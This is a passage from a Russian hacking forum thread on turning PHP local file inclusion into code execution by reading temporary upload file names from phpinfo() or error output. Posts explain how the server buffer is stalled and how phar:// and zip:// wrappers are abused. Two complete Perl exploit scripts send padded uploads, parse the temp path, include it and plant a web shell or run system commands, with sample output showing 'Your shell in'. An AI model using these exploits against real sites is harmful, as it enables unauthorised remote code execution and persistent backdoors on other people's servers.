Старый 25.01.2012, 22:26   #21
trashmail
 
Регистрация: 08.09.2011
Сообщений: 37
Репутация: -2
По умолчанию

Протестировал два последних скрипта от nikp на локалхосте (win7 32, php 5.3.5). Вообщем из командной строки забускаю скрипт, тут же создаётся 1-2 php файла в tmp типа phpXXYY. Значит так,те что выводит скрипт имена, там совподают только две первые цифры (иногда одна) phpXX, остальные 2 (YY) неправльные. Причём всегда. Если скрипт не запускать из командной строки, то он висит и ничего не выводит (ждал 10 мин) даже flush() там не помогает)
trashmail вне форума   Ответить с цитированием
Старый 26.01.2012, 15:02   #22
nikp
Banned
 
Регистрация: 05.07.2010
Сообщений: 201
Репутация: 183
По умолчанию

Цитата:
Сообщение от trashmail Посмотреть сообщение
Протестировал два последних скрипта от nikp на локалхосте (win7 32, php 5.3.5). Вообщем из командной строки забускаю скрипт, тут же создаётся 1-2 php файла в tmp типа phpXXYY. Значит так,те что выводит скрипт имена, там совподают только две первые цифры (иногда одна) phpXX, остальные 2 (YY) неправльные. Причём всегда. Если скрипт не запускать из командной строки, то он висит и ничего не выводит (ждал 10 мин) даже flush() там не помогает)
Смотрим на какую величину отличается реальный тмп-файл от того, что прогнозирует скрипт.
Если величина постоянная - правим скрипт, или прибавляем дельту к ответу скрипта.

Если дельта не постоянная или скрипт виснет без вывода (не наблюдал такого) - значит не подходящий для использования случай.
nikp вне форума   Ответить с цитированием
Старый 22.02.2012, 16:29   #23
tipsy
 
Аватар для tipsy
 
Регистрация: 10.07.2010
Сообщений: 415
Репутация: 311
По умолчанию

Немного подробней о том, как всё работает

Хочу внести немного ясности по теме.
Действительно, правильное решение было предложено Elekt-ом ещё в 2007 году здесь, но описано было так скромно, что извлечь суть из написанного в 2010 не удалось. Всё осложнялось ещё и тем, что сам Elekt, не сумев по какой-то причине повторить изначальный результат, в 4м сообщении решает, что он ошибся, и делает неправильные выводы, похоронив методику для читателя:
Цитата:
Сообщение от Elekt
Поковырялся я тут с сабжем. Есть что вам рассказать.
Действительно, временный файл удаляется намного раньше чем мы его успеваем считать с вывода phpinfo().
Однако, в том случае, если после вызова пхпинфо идет еще код, то чем дольше этот код выполняется, тем больше у нас шансов успеть получить имя временного файла до его удаления.
Тема использования временных файлов для LFI была поднята в привате на рдот, было активное обсуждение/тесты.
Из массы тестов самыми интересными мне показались результаты asddas на локалхосте - иногда инклуд срабатывал, иногда нет. Я предположил, что выполнение php скрипта связано с буферизацией его вывода апачем, и заполнение этого буфера приводит к временной остановке выполнения сценария.
Чтобы подтвердить/опровергнуть теорию, я порезал вывод апача на дискретные куски по 8 килобайт и провёл тест.
Гипотеза подтвердилась:
Цитата:
php завершается*, когда остаётся два неотправленных буффера (* имелось ввиду выполнение последнего оператора в php-программе.)
php делает cleanup*, когда остаётся 1 буффер. (* имелось ввиду удаление временных файлов)
Оставалось реализовать управляемое заполнение буфера апача неотправленными данными, манипулируя TCP-соединением со стороны клиента.
Безуспешно провозившись пол-ночи в попытках уменьшить размер окна и контролировать передачу вручную на пакетном уровне, я остановился на варианте с уменьшением и заполнением приёмного буфера, так как этот способ намного проще в реализации, и тоже в итоге даёт искомый результат, хоть и не так чисто. То, что Elekt описал по сути то же самое я обнаружил позже, уже имея отлаженный сплойт.

Послав файл на серверный скрипт следующего вида

PHP код:
<?php 
phpinfo
(); 
?>
результат работы мы можем схематично отобразить так
Цитата:
[данные]
[данные]
[данные]
[данные]
[данные]
[данные]
[данные]
[данные]
[данные]
[имя временного файла]
[хвост]
Временный файл будет удалён по завершению работы сценария, но, как мы уже знаем, мы может приостановить выполнение скрипта, вызвав заполнение исходящего буфера апача. Зная имя файла и отсрочив его удаление, мы сможем реализовать LFI.

Таким образом, задача эксплойта сводится к следующему:
1) прочитать имя временного файла, но оставить остальные данные (хвост) неотправленными в буфере апача, вызвав зависание серверного скрипта до max_execution_time.
2) нарастить хвост данных после имени файла до размеров, которых хватит для заполнения приёмо-передающих буферов (по-умолчанию этот хвост слишком короткий)

Задача усложняется тем, что отправку данных сервером нельзя остановить, просто перестав читать из сокета на клиенте. Сниффер наглядно демонстрирует, что данные всё равно продолжают приходить - любая современная ОС автоматически буферизует входящие данные. Эксплойт решает эту проблему уменьшением буфера до разрешённого минимума.

Впоследствии тема пополнилась более удобными вариантами эксплойта от asddas & Pashkela, и тихо лежала в привате, до тех пор, пока итальянцы не опубликовали аналогичный материал.
Так как спуск в паблик был вынужденным, снабжать материал цветными буквами желания не было. Мне казалось, первый пост достаточно очевидно описывал механизм работы эксплойта (в привате вопросов ни у кого не возникло)
Тема была перенесена как есть, и, видимо, зря - у людей, не знакомых с контекстом, возникли вполне обоснованные вопросы. Надо было не лениться и расписать всё человеческим языком изначально.

Автор статьи в "Хакер" предпринял честную попытку разобраться в материале, но в итоге намешал сведения (и верные, и ошибочные) из разных источников в одну кучу. Ничего страшного в этом нет, кому интересно - разберётся сам.

Последний раз редактировалось Jokester; 23.04.2012 в 12:33..
tipsy вне форума   Ответить с цитированием
Старый 18.06.2012, 10:38   #24
nikp
Banned
 
Регистрация: 05.07.2010
Сообщений: 201
Репутация: 183
По умолчанию

Небольшое добавление к технике инклудов.

Начиная с PHP версии 5.3.4 стало проблемно работать с инклудами, у которых присутствует "хвост".
С другой стороны, в линейке 5.3, появилась штатная поддержка архивов phar.
В случае RFI, появилась возможность не отрезать лишний хвост, а спрятать его внутри архива.

Пример:
in2.php
PHP код:
<?
include($_GET['pic'].'.gif');
?>
Создадим архив phar с файлом bla.gif
для создания нужно в php.ini установить: phar.readonly = Off

PHP код:
//создадим архив in.phar
$p = new Phar('in.phar');
$p->setStub('<?php Phar::mapPhar();__HALT_COMPILER(); ?>');
$p['bla.gif'] = '<?phpinfo();?>';
//или
//$p['bla.gif'] = file_get_contents('shell.php');
Инклудим
http://localhost/in.php?pic=phar://in.phar/bla

Это может быть и zip или tar архив, конвертнем
PHP код:
$p $p->convertToExecutable(Phar::ZIP); 
Инклудим
http://localhost/in.php?pic=phar://in.phar.zip/bla

Хвост может быть длинным, тогда в каталоге arc создаем нужную структуру файлов, например /tmp/arc/Bla/bla2/file.ext
и добавляем в архив
PHP код:
//вторым параметром можно указать регулярку для отбора файлов 
//каталоги и файлы в архиве - чувствительны к регистру (даже для винды)
$p->buildFromDirectory('/tmp/arc/','/.*/'); 
для родного формата phar, расширение не обязательно, или любое.
Для zip обязательна подстрока .zip (bla.zip, bla.zip.php и т.д.)

После аплоада получаются файлы без расширения, типа phpKuAoU3

Инклудим
Код:
http://localhost/in.php?pic=phar:///tmp/phpKuAoU3/bla
Можно грузить zip архив и использовать обертку zip:// (почти везде установлена, поддерживается много раньше phar://)
Код:
http://localhost/in.php?pic=zip:///tmp/phpKuAoU3%23bla
Способ не зависит от настроек
allow_url_fopen
allow_url_include
magic_quotes_gpc

а зависимостей две
- можем влиять на начало строки инклуда
- можем приготовить файл произвольного содержания, имя не важно.

Про zip:// подробнее можно посмотреть у Алексея Москвина (Positive Technologies)
Отличная презентация, хотелось бы видеть и его самого на форуме.

PS
К архиву in.phar можно обратиться
PHP код:
include('phar://in.phar');
//или напрямую
include('in.phar');
//а вот к файлу внутри архива, только через обертку
include('phar://in.phar/bla.gif'); 
Если найдется способ прямого обращения к файлу архива, будет решена проблема хвоста и в LFI.

Последний раз редактировалось nikp; 18.06.2012 в 11:08..
nikp вне форума   Ответить с цитированием
Старый 18.06.2012, 10:59   #25
Beched
 
Регистрация: 06.07.2010
Сообщений: 403
Репутация: 118
По умолчанию

nikp, ссылка на Москвина неверная (ты кинул на Кочеткова):
http://live.digitaloctober.ru/embed/1210?language=ru&params%5bpw%5d=630&params%5bph%5d =355&params%5bepisodes_under%5d=1&params%5beh%5d=1 00#time1338447970

Кстати странно, что про zip:// нет здесь:
http://www.php.net/manual/en/wrappers.php

Цитата:
Сообщение от Boolean Посмотреть сообщение
http://php.net/manual/en/wrappers.compression.php
Тьфу, угу. Просто в общем списке под общим названием.
Beched вне форума   Ответить с цитированием
Старый 18.06.2012, 11:23   #26
Boolean
 
Регистрация: 19.10.2011
Сообщений: 111
Репутация: 34
По умолчанию

Цитата:
Сообщение от BECHED aka Root-access Посмотреть сообщение
Кстати странно, что про zip:// нет здесь:
http://www.php.net/manual/en/wrappers.php.php
http://php.net/manual/en/wrappers.compression.php
__________________
|
Boolean вне форума   Ответить с цитированием
Старый 11.07.2012, 00:07   #27
pres
 
Регистрация: 09.07.2010
Сообщений: 19
Репутация: 0
По умолчанию

Хмм, а в скриптах ошибки сознательно сделаны?

update. Я то думал, что файл с phpinfo нужно инклюдить, а оказывается просто прямо на него можно слать запрос

POST /phpinfo.php

Последний раз редактировалось pres; 11.07.2012 в 00:47..
pres вне форума   Ответить с цитированием
Старый 11.08.2012, 16:09   #28
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

выкладываю больше для себя, теперь есть возможность работать в двух режимах:

1. В консоли
2. Сразу залить шелл (просто положите рядом wso2.txt с нужным содержимым)

Код:
#!/usr/bin/perl -w
# perl lfi.pl http://localhost/phpinfo.php  http://localhost/test.php?e=../../../../../etc/passwd
use IO::Socket;
use LWP::Simple;
# GLOBAL SETTINGS #############################################################################
$use_shell=1;# use web-shell, 1 - yes, 0 - no
$shell_file="wso2.txt"; # web-shell file
$phpcode = 'system("uname -a;id;pwd;ls -la /lib;which gcc");'; # no <?php and ?>, no "exit;"
$save_to_file = 1; # 1 - save to file z_host.txt, 0- no
$console = 1; # 1 - Work in terminal, 0 - no
$keep_tmp_file = 0; #1 - Keeping file $tmpfile in tmp, use it as long as you need it, 0 - No
$rcvbuf = 1024; # increase if script is running too slow. will be automatically doubled
$bigz = 3000; # 8000 - long line to create bottlenecks
$junkheaders = 30; # 1-90
$junkfiles = 40; #10 ~ 4Mb of overhead
$junkfilename = '>' x 100000;
###############################################################################################
if($use_shell==1){ 
  open(FILE, $shell_file);
  @file = <FILE>;
  close(FILE);
  $phpcode = join('', @file);
  $console=0;
  $keep_tmp_file=1;
  $phpcode_tmp=$phpcode;
  $save_to_file=0;
}else{
$phpcode_tmp='<?php echo "ussr";'.$phpcode.'echo "ussr";exit;?>';
}
$host = "";$path = ""; $flag = 0;
if($ARGV[0] =~ m#http://(.+?)(/.+)#) {$host = $1;$path = $2} else { die "Can't extract host\n"}; 
get_tmp();
sub get_tmp {
   $|=1;
   START:
   if ($console ==1 && $flag == 1){
      print "\nType your PHP CODE or EXIT:\n============================================\n";
      $phpcode = <STDIN>;
      chomp $phpcode;
      if ($phpcode eq "exit" || $phpcode eq "EXIT") { print "\nby-by :)\n";exit}
   }
   if ($save_to_file == 1) {open( FILE, ">>" . "z_" .$host . ".txt" )} 
   print "\nGenerating huge headers\t\t";
   my $headers = 
"POST $path HTTP/1.0
Host: $host
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0b8) Gecko/20100101 Firefox/4.0b8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
z:".("Z" x $bigz)."\n";
   for(my $i=0; $i<$junkheaders; $i++) {
      $headers .= "z$i: $i\n";
   }
   $headers .= "Content-Type: multipart/form-data; boundary=---------------------------59502863519624080131137623865
Content-Length: ";
   my $content=
'-----------------------------59502863519624080131137623865
Content-Disposition: form-data; name="tfile"; filename="test.html"
Content-Type: text/html

hello<br>
'.$phpcode_tmp.'
bye
-----------------------------59502863519624080131137623865--
';
   for (my $i=0; $i<$junkfiles; $i++) {
       $content .= '-----------------------------59502863519624080131137623865
Content-Disposition: form-data; name="ffile'.$i.'"; filename="'.$i.$junkfilename.'"
Content-Type: text/html

no

-----------------------------59502863519624080131137623865--
';}
   $headers .= length($content)."\n\n".$content;
   print "[headers ready]\n";
   my $remote = IO::Socket::INET->new( Proto     => "tcp",
	                                 PeerAddr  => $host,
	                                 PeerPort  => 80,
	                               );
   setsockopt($remote, SOL_SOCKET, SO_RCVBUF,pack("I",$rcvbuf));
   sleep(1);
   print "Setting buffer size\t\t[".unpack("I",getsockopt($remote, SOL_SOCKET, SO_RCVBUF))."]\n";
   unless ($remote) { die "cannot connect to http daemon on $host" }
   $remote->autoflush(1);
   print "Sending request\t\t\t";
   print $remote $headers;
   print "[request sent]\n";
   my $line = <$remote>;
   print $line;	
   print "Reading";
   while ( $line = <$remote> ) { 
      print ".";
      if ($line =~ m#tmp_name].+(/tmp/php.+)$#) {
	  my $tmpfile = $1;
	  print "\nGot filename: $tmpfile\n";
	  print "Including...\n";
          $inc = $ARGV[1]; #path to /etc/passwd 
          $inc =~ s#/etc/passwd#$tmpfile#;
          $flag = 1;  
          my $result = get($inc);
          if($use_shell!=1){ 
             if($result =~ m/ussr(.*?)ussr/imgs){
                 print "\n\n================= PHP CODE: =================\n$phpcode\n"; 
                 print "\n\n================= RESULTS: ==================\n\n$1\n"; 
                 print "\n\n=============================================\n\n";
                 if($save_to_file==1){print FILE $1 . "\n"}
             } else {
                 print "\n\n================= CHECK PHP CODE (maybe error in code or some functions are disabled [system for example]): =================\n$phpcode\n"; 
                 print "\n No results, exploit failed, sorry\n\n";
             }
          } else {
             print "\nYour shell in \n\n===>  $inc\n\n don't forget to delete it after all\n";  
          }
          if ($keep_tmp_file == 1) { 
                 print "\nKeeping file $tmpfile in tmp, use it as long as you need it\n";
     	         while ($remote) {print ".\r";sleep 5};
          }  
   	  close $remote;
      }
   }
   if ($save_to_file == 1) {close(FILE)}
   $flag = 1;
   if ($console ==1 && $flag == 1){ 
      goto START;
   } else {exit}
}
Цитата:
Generating huge headers [headers ready]
Setting buffer size [2240]
Sending request [request sent]
HTTP/1.1 200 OK
Reading........................................... .................................................. .................................................. .................................................. .................................................. .................................................. .................................................. .................................................. .................................................. .................................................. .................................................. .................................................. .................................................. .................................................. .................................................. .................................................. .................................................. .................................................. ..........................
Got filename: /tmp/phpeJ0pPe
Including...

Your shell in

===> http://localhost/test.php?e=../../../tmp/phpeJ0pPe

don't forget to delete it after all

Keeping file /tmp/phpeJ0pPe in tmp, use it as long as you need it
.
Pashkela вне форума   Ответить с цитированием
Старый 27.07.2013, 15:02   #29
b3
 
Аватар для b3
 
Регистрация: 18.08.2010
Сообщений: 352
Репутация: 105
По умолчанию

Возможно кому будет интересно
http://insecurety.net/?p=687
http://www.youtube.com/watch?v=D6L5MUj53Vc
http://code.google.com/p/fimap/
b3 вне форума   Ответить с цитированием
Старый 02.02.2014, 14:02   #30
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

Тему можно использовать не только с PHPINFO

временные имена файлов выводятся много где (например в ошибках), но там появляются другие проблемы - если при обращении к phpinfo временные файлы живут достаточно долго, то при обращении к обычному скрипту - достаточно мало, как тормознуть не придумал пока, но шансы высоки, если после вываливания ошибки с именем временного файла, скрипт еще что-то делает.

В общем нужны тесты.

Пример уязвимости без phpinfo + сплойт:

уязвимый скрипт с LFI - test.php:

PHP код:
<?php
include("/tmp/".$_GET[1]);
?>
уязвимый скрипт, в котором вываливается ошибка, содержащая имя временного файла, если произошла ошибка при загрузке - test2.php:

PHP код:
<pre>
<?php
ini_set
('display_errors'1);
error_reporting(E_ALL);
$upload_dir="/var/www/galleries/"# несуществующая папка или без прав на запись
$target $upload_dir.basename($_FILES['uploaded']['name']) ;
if(
move_uploaded_file($_FILES['uploaded']['tmp_name'],$target)){
echo 
"File uploaded!";
}else{
  echo 
"<form enctype='multipart/form-data'  method='POST'>";
  echo 
"File:<input name='uploaded' type='file'/><input type='submit' value='Upload'/>";
  echo 
"</form>";
}
# Дальше вставлен искусственный тормоз, просто что-то делается после аплоада
function GetListFiles($folder,&$all_files){
    
$fp=opendir($folder);
    while(
$cv_file=readdir($fp)) {
        if(
is_file($folder."/".$cv_file)) {
            
$all_files[]=$folder."/".$cv_file;
        }elseif(
$cv_file!="." && $cv_file!=".." && is_dir($folder."/".$cv_file)){
            
GetListFiles($folder."/".$cv_file,$all_files);
        }
    }
    
closedir($fp);
}
$all_files=array();
GetListFiles("/var/www",$all_files);
foreach (
$all_files as $value) {
    echo 
"FILE: $value \n";
}
?>
payload со злокодом - wso2.txt

PHP код:
<?php file_put_contents('/tmp/qwerty','<?php phpinfo();?>');?>
ну и наконец сплойт:

Код:
#!/usr/bin/perl -w
# perl lfi.pl http://localhost/phpinfo.php  http://localhost/test.php?e=../../../../../etc/passwd
# for (( i=0;i<100;i++)); do perl lfi.pl http://localhost/test2.php http://localhost/test.php?1=../../../../../../../../etc/passwd;done
use IO::Socket;
use LWP::Simple;
# GLOBAL SETTINGS #############################################################################
$lfi_url="http://localhost/test.php?1=../../../../../../../../";
$lfi_end="";
$use_shell=1;# use web-shell, 1 - yes, 0 - no
$shell_file="wso2.txt"; # web-shell file
#$phpcode = 'system("uname -a;id;pwd;ls -la /lib;which gcc");'; # no <?php and ?>, no "exit;"
$phpcode = "file_put_contents('/tmp/qwerty','<?php phpinfo();?>');"; # no <?php and ?>, no "exit;"
$save_to_file = 1; # 1 - save to file z_host.txt, 0- no
$console = 1; # 1 - Work in terminal, 0 - no
$keep_tmp_file = 1; #1 - Keeping file $tmpfile in tmp, use it as long as you need it, 0 - No
$rcvbuf = 1024; # increase if script is running too slow. will be automatically doubled
$bigz = 3000; # 8000 - long line to create bottlenecks
$junkheaders = 30; # 1-90
$junkfiles = 40; #10 ~ 4Mb of overhead
$junkfilename = '>' x 100000;
###############################################################################################
if($use_shell==1){ 
  open(FILE, $shell_file);
  @file = <FILE>;
  close(FILE);
  $phpcode = join('', @file);
  $console=0;
  $keep_tmp_file=0;
  $phpcode_tmp=$phpcode;
  $save_to_file=0;
}else{
$phpcode_tmp='<?php echo "ussr";'.$phpcode.'echo "ussr";exit;?>';
}
$host = "";$path = ""; $flag = 0;
if($ARGV[0] =~ m#http://(.+?)(/.+)#) {$host = $1;$path = $2} else { die "Can't extract host\n"}; 
get_tmp();
sub get_tmp {
   $|=1;
   START:
   if ($console ==1 && $flag == 1){
      print "\nType your PHP CODE or EXIT:\n============================================\n";
      $phpcode = <STDIN>;
      chomp $phpcode;
      if ($phpcode eq "exit" || $phpcode eq "EXIT") { print "\nby-by :)\n";exit}
   }
   if ($save_to_file == 1) {open( FILE, ">>" . "z_" .$host . ".txt" )} 
   print "\nGenerating huge headers\t\t";
   my $headers = 
"POST $path HTTP/1.0
Host: $host
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0b8) Gecko/20100101 Firefox/4.0b8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
z:".("Z" x $bigz)."\n";
   for(my $i=0; $i<$junkheaders; $i++) {
      $headers .= "z$i: $i\n";
   }
   $headers .= "Content-Type: multipart/form-data; boundary=---------------------------59502863519624080131137623865
Content-Length: ";
   my $content=
'-----------------------------59502863519624080131137623865
Content-Disposition: form-data; name="uploaded"; filename="test.html"
Content-Type: image/gif

hello<br>
'.$phpcode_tmp.'
bye
-----------------------------59502863519624080131137623865--
';
   for (my $i=0; $i<$junkfiles; $i++) {
       $content .= '-----------------------------59502863519624080131137623865
Content-Disposition: form-data; name="uploaded'.$i.'"; filename="'.$i.$junkfilename.'"
Content-Type: text/html

no

-----------------------------59502863519624080131137623865--
';}
   $headers .= length($content)."\n\n".$content;
   print "[headers ready]\n";
   my $remote = IO::Socket::INET->new( Proto     => "tcp",
	                                 PeerAddr  => $host,
	                                 PeerPort  => 80,
	                               );
   setsockopt($remote, SOL_SOCKET, SO_RCVBUF,pack("I",$rcvbuf));
   sleep(1);
   print "Setting buffer size\t\t[".unpack("I",getsockopt($remote, SOL_SOCKET, SO_RCVBUF))."]\n";
   unless ($remote) { die "cannot connect to http daemon on $host" }
   $remote->autoflush(1);
   print "Sending request\t\t\t";
   print $remote $headers;
   print "[request sent]\n";
   my $line = <$remote>;
   print $line;	
   print "Reading";
   $inc = $ARGV[1]; #path to /etc/passwd 
   while ( $line = <$remote> ) { 
      print ".";
      #if ($line =~ m#tmp_name].+(/tmp/php.+)$#) {
      if ($line =~ m#'(/tmp/php.+)' to#) {
          my $result = get($lfi_url.$1.$lfi_end);
          print $result . "\n";
	  my $tmpfile = $1;
          $inc =~ s#/etc/passwd#$tmpfile#;
	  print "\nGot filename: $tmpfile\n";
	  print "Including...\n";
          $flag = 1; 
          if($use_shell!=1){ 
             if($result =~ m/ussr(.*?)ussr/imgs){
                 print "\n\n================= PHP CODE: =================\n$phpcode\n"; 
                 print "\n\n================= RESULTS: ==================\n\n$1\n"; 
                 print "\n\n=============================================\n\n";
                 if($save_to_file==1){print FILE $1 . "\n"}
             } else {
                 print "\n\n================= CHECK PHP CODE (maybe error in code or some functions are disabled [system for example]): =================\n$phpcode\n"; 
                 print "\n No results, exploit failed, sorry\n\n";
             }
          } else {
             print "\nYour shell in \n\n===>  $inc\n\n don't forget to delete it after all\n";  
          }
          if ($keep_tmp_file == 1) { 
                 print "\nKeeping file $tmpfile in tmp, use it as long as you need it\n";
     	         while ($remote) {print ".\r";sleep(5);};
          }  
   	  close $remote;
      }
   }
   if ($save_to_file == 1) {close(FILE)}
   $flag = 1;
   if ($console ==1 && $flag == 1){ 
      goto START;
   } else {exit}
}
после удачного выполнения сплойта должен появиться файл

/tmp/qwerty

PS: tested on Linux an 2.6.38-16-generic #67-Ubuntu SMP Thu Sep 6 18:00:43 UTC 2012 i686 athlon i386 GNU/Linux

Последний раз редактировалось Pashkela; 02.02.2014 в 15:48..
Pashkela вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot